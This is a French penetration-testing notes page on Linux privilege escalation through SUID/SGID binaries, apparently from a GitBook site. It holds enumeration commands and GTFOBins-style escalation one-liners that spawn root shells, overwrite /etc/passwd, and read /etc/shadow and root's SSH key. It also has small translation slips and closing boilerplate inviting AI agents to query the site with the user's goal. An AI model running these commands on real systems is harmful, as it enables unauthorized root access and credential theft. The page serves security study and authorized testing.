> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/suid.md).

# SUID

Notes sur l'élévation de privilèges Linux via SUID pour les binaires vulnérables, les workflows GTFOBins, PwnKit, Nmap, PHP, screen et les binaires SUID personnalisés.

Les binaires SUID s'exécutent avec les privilèges de leur propriétaire, souvent root. Un binaire SUID vulnérable, obsolète ou trop permissif peut lire des fichiers protégés, ouvrir un shell privilégié ou exécuter du code contrôlé par l'attaquant.

## Méthodologie

* Énumérez les binaires SUID et comparez les entrées inhabituelles avec GTFOBins.
* Privilégiez les binaires personnalisés, les anciennes versions, les dépendances inscriptibles et les binaires situés en dehors des chemins système standard.
* Testez les primitives de lecture, d'écriture, d'exécution de commandes et de chargement de bibliothèques avant d'exécuter des charges utiles destructrices.

## Vérifications rapides

```bash
find / -perm -4000 -type f 2>/dev/null
find / -type f -perm -4000 -ls 2>/dev/null
find / -type f -perm -2000 -ls 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
```

## Triage SUID et SGID

SUID exécute le binaire avec les privilèges du propriétaire du fichier, tandis que SGID l'exécute avec les privilèges du groupe du fichier. Après l'énumération, comparez les binaires inhabituels avec [GTFOBins](https://gtfobins.github.io/) et privilégiez les chemins personnalisés, les répertoires inscriptibles et les binaires appartenant à root.

Vérifications rapides utiles :

```bash
find / -type f -perm -4000 -ls 2>/dev/null
find / -type f -perm -2000 -ls 2>/dev/null
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null
```

Exemples courants de type GTFOBins :

```bash
find . -exec /bin/sh -p \; -quit
```

Pour `nano`, utilisez `Ctrl+R`, puis `Ctrl+X`, puis exécutez :

```
reset; sh 1>&0 2>&0
```

Pour `vim`:

```bash
vim -c ':shell'
vim -c ':!/bin/sh'
```

Si un flux de travail de copie SUID/privilégié peut écraser des fichiers sensibles, validez soigneusement la primitive d'écriture avant de toucher aux fichiers de production :

```bash
cp /tmp/malicious_passwd /etc/passwd
```

Si `base64` est SUID, utilisez-le comme primitive de lecture plutôt que comme primitive de shell :

```bash
ls -la /usr/bin/base64
/usr/bin/base64 /etc/shadow | base64 --decode
/usr/bin/base64 /root/.ssh/id_rsa | base64 --decode
/usr/bin/base64 /var/log/auth.log | base64 --decode
```

Si `cp` si cp est SUID, vérifiez s'il peut créer ou préserver une copie privilégiée :

```bash
cp /bin/sh /tmp/sh
chmod +s /tmp/sh
/tmp/sh -p
```

Binaires SUID/SGID courants à examiner :

| Binaire                                                     | Pourquoi le vérifier                                                        |
| ----------------------------------------------------------- | --------------------------------------------------------------------------- |
| `sudo` / `su`                                               | Outils directs de frontière de privilèges.                                  |
| `passwd`, `chsh`, `newgrp`, `gpasswd`                       | Utilitaires de modification de comptes et de groupes.                       |
| `à`                                                         | Exécution planifiée de commandes.                                           |
| `mount`, `umount`                                           | Accès au système de fichiers et options de montage.                         |
| `pkexec`                                                    | Assistant Polkit, historiquement affecté par PwnKit.                        |
| `base64`                                                    | Lire des fichiers protégés et les décoder localement.                       |
| `cp`                                                        | Copier ou écraser des fichiers lorsque les permissions le permettent.       |
| `rechercher`, `nano`, `vim`, `less`, `more`, `bash`, `dash` | Primitives de shell, de lecture ou d'écriture de fichiers de type GTFOBins. |
| `nmap`                                                      | Mode interactif hérité ou chemins d'exécution de scripts.                   |

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID pkexec / PwnKit</h4></td><td>Notes SUID (Pkexec) pour l'élévation de privilèges sous Linux, avec étapes d'énumération, exemples d'exploitation et validation axée sur le reporting.</td><td><a href="/fr/privesc/suid/suid-pkexec-linux-privilege-escalation.md">SUID (Pkexec) - Élévation de privilèges Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Base64</h4></td><td>Notes SUID (Base64) pour l'élévation de privilèges sous Linux, avec étapes d'énumération, exemples d'exploitation et validation axée sur le reporting.</td><td><a href="/fr/privesc/suid/suid-base64-linux-privilege-escalation.md">SUID (Base64) - Élévation de privilèges Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID PHP</h4></td><td>Notes SUID (PHP) pour l'élévation de privilèges sous Linux, avec étapes d'énumération, exemples d'exploitation et validation axée sur le reporting.</td><td><a href="/fr/privesc/suid/suid-php-linux-privilege-escalation.md">SUID (PHP) - Élévation de privilèges Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Vidage mémoire /opt/count</h4></td><td>Notes SUID - Vidage mémoire (/opt/count) pour l'élévation de privilèges sous Linux, avec étapes d'énumération, exemples d'exploitation et validation axée sur le reporting.</td><td><a href="/fr/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md">Dump mémoire SUID /opt/count - Élévation de privilèges Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Fichier manquant</h4></td><td>Notes de binaire SUID (Fichier manquant) pour l'élévation de privilèges sous Linux, avec étapes d'énumération, exemples d'exploitation et validation axée sur le reporting.</td><td><a href="/fr/privesc/suid/suid-missing-file-linux-privilege-escalation.md">Fichier manquant SUID - Élévation de privilèges Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID screen</h4></td><td>Notes SUID (screen) pour l'élévation de privilèges sous Linux, avec étapes d'énumération, exemples d'exploitation et validation axée sur le reporting.</td><td><a href="/fr/privesc/suid/suid-screen-linux-privilege-escalation.md">SUID screen - Élévation de privilèges Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Nmap</h4></td><td>Notes SUID (Nmap) pour l'élévation de privilèges sous Linux, avec étapes d'énumération, exemples d'exploitation et validation axée sur le reporting.</td><td><a href="/fr/privesc/suid/suid-nmap-linux-privilege-escalation.md">SUID (Nmap) - Élévation de privilèges Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>Binaire de sauvegarde SUID</h4></td><td>Notes de binaire SUID (Sauvegarde) pour l'élévation de privilèges sous Linux, avec étapes d'énumération, exemples d'exploitation et validation axée sur le reporting.</td><td><a href="/fr/privesc/suid/suid-backup-binary-linux-privilege-escalation.md">Binaire SUID (sauvegarde) - Élévation de privilèges Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Enlightenment</h4></td><td>Notes SUID (Enlightenment) pour l'élévation de privilèges sous Linux, avec étapes d'énumération, exemples d'exploitation et validation axée sur le reporting.</td><td><a href="/fr/privesc/suid/suid-enlightenment-linux-privilege-escalation.md">SUID (Enlightenment) – Élévation de privilèges Linux</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/suid.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
